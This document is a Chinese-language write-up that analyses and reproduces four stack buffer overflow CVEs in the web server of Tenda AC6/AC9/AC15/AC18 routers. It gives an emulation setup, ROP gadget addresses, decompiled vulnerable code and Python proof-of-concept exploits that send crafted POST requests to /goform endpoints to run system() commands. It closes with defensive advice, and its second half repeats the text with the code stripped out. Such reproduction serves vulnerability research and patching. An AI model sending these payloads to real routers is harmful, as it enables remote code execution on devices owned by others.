Tenda路由器CVE:四个缓冲区溢出漏洞分析复现
字数 1628 2025-08-06 08:35:25

Tenda路由器四个缓冲区溢出漏洞分析与复现

漏洞概述

本文详细分析了Tenda路由器中发现的四个缓冲区溢出漏洞(CVE-2020-13394、CVE-2020-13392、CVE-2020-13391、CVE-2020-13390),这些漏洞影响多个Tenda路由器型号和固件版本:

  • AC6 V1.0 V15.03.05.19_multi_TD01
  • AC9 V1.0 V15.03.05.19(6318)_CN
  • AC9 V3.0 V15.03.06.42_multi
  • AC15 V1.0 V15.03.05.19_multiTD01
  • AC18 V15.03.05.19(6318)_CN

所有漏洞都存在于路由器的web服务器(httpd)中,攻击者可以通过构造特制的POST请求触发缓冲区溢出,最终实现任意代码执行。

环境准备

所需工具

  • QEMU用户模式模拟器:qemu-arm-static
  • Python requests库
  • pwntools工具包
  • ROPgadget工具

固件获取

分析基于US_AC15V1.0BR_V15.03.05.19_multi_TD01固件版本,可从GitHub下载:

https://github.com/Snowleopard-bin/pwn/tree/master/IOT/Tenda_CVE-2018-16333

QEMU环境配置

  1. 安装qemu-user-static:
sudo apt install qemu-user-static
  1. 启动httpd服务进行调试:
cp $(which qemu-arm-static) ./qemu
sudo chroot ./ ./qemu ./bin/httpd

通用ROP利用技术

分析发现libc.so.0中存在两个关键gadget:

0x00018298 : pop {r3, pc}   # gadget1 - 控制r3寄存器
0x00040cb8 : mov r0, sp ; blx r3 # gadget2 - 将栈指针赋给r0并跳转到r3

利用过程:

  1. 溢出后跳到gadget1,控制r3寄存器为system函数地址
  2. 第一个pc控制为gadget2
  3. 跳转到gadget2后,控制r0为要执行的命令
  4. 执行system(cmd)

漏洞详细分析

CVE-2020-13394

漏洞位置formSetQosBand函数中的sub_7DD20函数

漏洞成因

  • 处理/goform/SetNetControlList的POST请求时,list参数未经检查直接通过strcpy复制到栈变量
  • 导致栈缓冲区溢出,可覆盖函数返回地址

关键代码

list = (char *)sub_2BA8C(a1, (int)"list", (int)&unk_E250C);
sub_7DD20(list, (int)"bandwidth.mode", 0xAu);

// sub_7DD20函数内部
src = list_1;
strcpy(&dest, src);  // 直接复制用户输入导致溢出

PoC代码

import requests
from pwn import *

cmd = "echo hello"
libc_base = 0xf659c000  # qemu-user模式下的基址
system = libc_base + 0x5A270
mov_r0_ret_r3 = libc_base + 0x40cb8
pop_r3 = libc_base + 0x18298

payload = 'a'*0x260
payload += p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd

url = "http://192.168.198.140/goform/SetNetControlList"
cookie = {"Cookie": "password=12345"}
data = {"list": payload}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)

CVE-2020-13392

漏洞位置formSetCfm函数中的sub_4EC58函数

漏洞成因

  • 处理/goform/setcfm的POST请求时,当funcname参数为save_list_data
  • funcpara1参数未经检查直接通过sprintf复制到栈变量
  • 注意参数后面会接上.list字符串,因此命令后需要加分号

关键代码

if (!strcmp(v17, "save_list_data")) {
    funcpara1 = sub_2BA8C(v2, (int)"funcpara1", (int)&unk_DFA30);
    sub_4EC58((int)funcpara1, funcpara2, '~');
}

// sub_4EC58函数内部
sprintf(&s, "%s.list%d", v6, ++v11);  // 格式化字符串漏洞

PoC代码

payload = 'a'*0x58
payload += p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd + ';'

url = "http://192.168.198.140/goform/setcfm"
cookie = {"Cookie": "password=12345"}
data = {"funcname": 'save_list_data', 'funcpara1': payload}

CVE-2020-13391

漏洞位置formSetSpeedWan函数

漏洞成因

  • 处理/goform/SetSpeedWan的POST请求时,speed_dir参数未经检查
  • 通过sprintf与格式化字符串拼接后复制到栈变量
  • 用户可控空间在栈变量偏移25之后,需要填充35字节

关键代码

speed_dir = sub_2BA8C(a1, "speed_dir", "0");
sprintf(s, "{\"errCode\":%d,\"speed_dir\":%s}", v15, speed_dir);

PoC代码

payload = 'a'*35
payload += p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd + ';'

url = "http://192.168.198.140/goform/SetSpeedWan"
cookie = {"Cookie": "password=12345"}
data = {'speed_dir': payload}

CVE-2020-13390

漏洞位置fromAddressNat函数

漏洞成因

  • 处理/goform/addressNat的POST请求时,entrysmitInterface参数未经检查
  • 通过sprintf拼接后复制到栈变量

关键代码

entrys = sub_2BA8C(v4, "entrys", &unk_E5D48);
mitInterface = sub_2BA8C(v4, "mitInterface", &unk_E5D48);
sprintf(&s, "%s;%s", entrys, mitInterface);

PoC代码

padding = 'b'*(0x318-1)
payload = ''
payload += p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd

url = "http://192.168.198.140/goform/addressNat"
cookie = {"Cookie": "password=12345"}
data = {'entrys': padding, 'mitInterface': payload}

总结

这四个漏洞都是由于Tenda路由器web服务器在处理用户输入时缺乏边界检查导致的缓冲区溢出漏洞。利用方式相似,都是通过构造ROP链调用system函数执行任意命令。

注意事项

  1. 不同运行环境下的libc基址可能不同,需要根据实际情况调整
  2. CVE-2020-13393和CVE-2020-13389实际上是堆溢出漏洞,不能直接套用本文的ROP利用方式
  3. 实际利用时需要考虑目标设备的网络配置和认证方式

防护建议

  1. 及时更新路由器固件到最新版本
  2. 修改默认管理密码
  3. 限制管理界面的访问权限
  4. 启用路由器的自动更新功能
Tenda路由器四个缓冲区溢出漏洞分析与复现 漏洞概述 本文详细分析了Tenda路由器中发现的四个缓冲区溢出漏洞(CVE-2020-13394、CVE-2020-13392、CVE-2020-13391、CVE-2020-13390),这些漏洞影响多个Tenda路由器型号和固件版本: AC6 V1.0 V15.03.05.19_ multi_ TD01 AC9 V1.0 V15.03.05.19(6318)_ CN AC9 V3.0 V15.03.06.42_ multi AC15 V1.0 V15.03.05.19_ multiTD01 AC18 V15.03.05.19(6318)_ CN 所有漏洞都存在于路由器的web服务器(httpd)中,攻击者可以通过构造特制的POST请求触发缓冲区溢出,最终实现任意代码执行。 环境准备 所需工具 QEMU用户模式模拟器: qemu-arm-static Python requests库 pwntools工具包 ROPgadget工具 固件获取 分析基于US_ AC15V1.0BR_ V15.03.05.19_ multi_ TD01固件版本,可从GitHub下载: QEMU环境配置 安装qemu-user-static: 启动httpd服务进行调试: 通用ROP利用技术 分析发现libc.so.0中存在两个关键gadget: 利用过程: 溢出后跳到gadget1,控制r3寄存器为system函数地址 第一个pc控制为gadget2 跳转到gadget2后,控制r0为要执行的命令 执行system(cmd) 漏洞详细分析 CVE-2020-13394 漏洞位置 : formSetQosBand 函数中的 sub_7DD20 函数 漏洞成因 : 处理 /goform/SetNetControlList 的POST请求时, list 参数未经检查直接通过 strcpy 复制到栈变量 导致栈缓冲区溢出,可覆盖函数返回地址 关键代码 : PoC代码 : CVE-2020-13392 漏洞位置 : formSetCfm 函数中的 sub_4EC58 函数 漏洞成因 : 处理 /goform/setcfm 的POST请求时,当 funcname 参数为 save_list_data 时 funcpara1 参数未经检查直接通过 sprintf 复制到栈变量 注意参数后面会接上 .list 字符串,因此命令后需要加分号 关键代码 : PoC代码 : CVE-2020-13391 漏洞位置 : formSetSpeedWan 函数 漏洞成因 : 处理 /goform/SetSpeedWan 的POST请求时, speed_dir 参数未经检查 通过 sprintf 与格式化字符串拼接后复制到栈变量 用户可控空间在栈变量偏移25之后,需要填充35字节 关键代码 : PoC代码 : CVE-2020-13390 漏洞位置 : fromAddressNat 函数 漏洞成因 : 处理 /goform/addressNat 的POST请求时, entrys 和 mitInterface 参数未经检查 通过 sprintf 拼接后复制到栈变量 关键代码 : PoC代码 : 总结 这四个漏洞都是由于Tenda路由器web服务器在处理用户输入时缺乏边界检查导致的缓冲区溢出漏洞。利用方式相似,都是通过构造ROP链调用system函数执行任意命令。 注意事项 : 不同运行环境下的libc基址可能不同,需要根据实际情况调整 CVE-2020-13393和CVE-2020-13389实际上是堆溢出漏洞,不能直接套用本文的ROP利用方式 实际利用时需要考虑目标设备的网络配置和认证方式 防护建议 : 及时更新路由器固件到最新版本 修改默认管理密码 限制管理界面的访问权限 启用路由器的自动更新功能